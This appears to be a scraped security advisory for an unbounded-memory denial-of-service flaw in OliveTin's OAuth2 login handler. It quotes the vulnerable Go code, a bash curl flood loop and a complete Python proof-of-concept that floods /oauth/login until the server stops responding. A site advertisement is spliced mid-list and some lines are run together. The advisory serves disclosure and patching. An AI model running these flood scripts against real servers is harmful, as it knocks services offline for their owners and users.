| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/OliveTin/OliveTin | ≥ 0.0.0-20251024001301-45f9c18bc3ee, < 0.0.0-20260708075951-ec114e95d297 | 0.0.0-20260708075951-ec114e95d297 |
OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.
This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.
In service/internal/auth/otoauth2/restapi_auth_oauth2.go:
type OAuth2Handler struct {
cfg *config.Config
mu sync.RWMutex
registeredStates map[string]*oauth2State // NEVER cleaned up
registeredProviders map[string]*oauth2.Config
}
The HandleOAuthLogin handler adds a new state on every request:
func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
state, _ := randString(16) // 24-byte base64 string
// ...
h.mu.Lock()
h.registeredStates[state] = &oauth2State{
providerConfig: provider,
providerName: providerName,
Username: "",
}
h.mu.Unlock()
// ... redirect to OAuth2 provider
}
The HandleOAuthCallback handler updates existing states but never removes them:
func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
// ...
h.mu.Lock()
h.registeredStates[state].Username = userinfo.Username // Updates, never deletes
h.registeredStates[state].Usergroup = ...
h.mu.Unlock()
}
There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.
Each map entry consists of:
*oauth2State struct containing:
providerConfig *oauth2.Config (pointer, 8 bytes + shared config)providerName string (~8-16 bytes)Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíUsername string (empty initially)Usergroup string (empty initially)Estimated: ~200 bytes per state entry
At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.
The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.
/oauth/loginlistenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false
authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
github:
clientId: "test-client-id"
clientSecret: "test-client-secret"
actions:
- title: noop
shell: echo "ok"
curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK
curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)
# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
# Throttle to avoid connection limits
if (( i % 500 == 0 )); then
wait
echo "Sent $i requests..."
fi
done
wait
echo "Flood complete"
#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS
Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""
import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor
TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000
def create_state(_):
"""Send /oauth/login to create a new state entry."""
try:
requests.get(
f"{TARGET}/oauth/login?provider={PROVIDER}",
allow_redirects=False,
timeout=5
)
return True
except Exception:
return False
def check_health():
"""Check if the server is still responsive."""
try:
r = requests.get(f"{TARGET}/readyz", timeout=5)
return r.status_code == 200
except Exception:
return False
print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()
if not check_health():
print("[!] Server not reachable")
sys.exit(1)
start_time = time.time()
total_created = 0
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
results = list(executor.map(create_state, range(batch_start, batch_end)))
total_created += sum(results)
elapsed = time.time() - start_time
rate = total_created / elapsed if elapsed > 0 else 0
est_memory = total_created * 200 / 1024 / 1024 # MB
print(f" States created: {total_created:>8} | "
f"Rate: {rate:>6.0f}/s | "
f"Est. memory: {est_memory:>6.1f} MB | "
f"Healthy: {check_health()}")
if not check_health():
print(f"\n[!] Server became unresponsive after {total_created} states!")
print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
break
print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")
docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack
/oauth/loginMaxAge)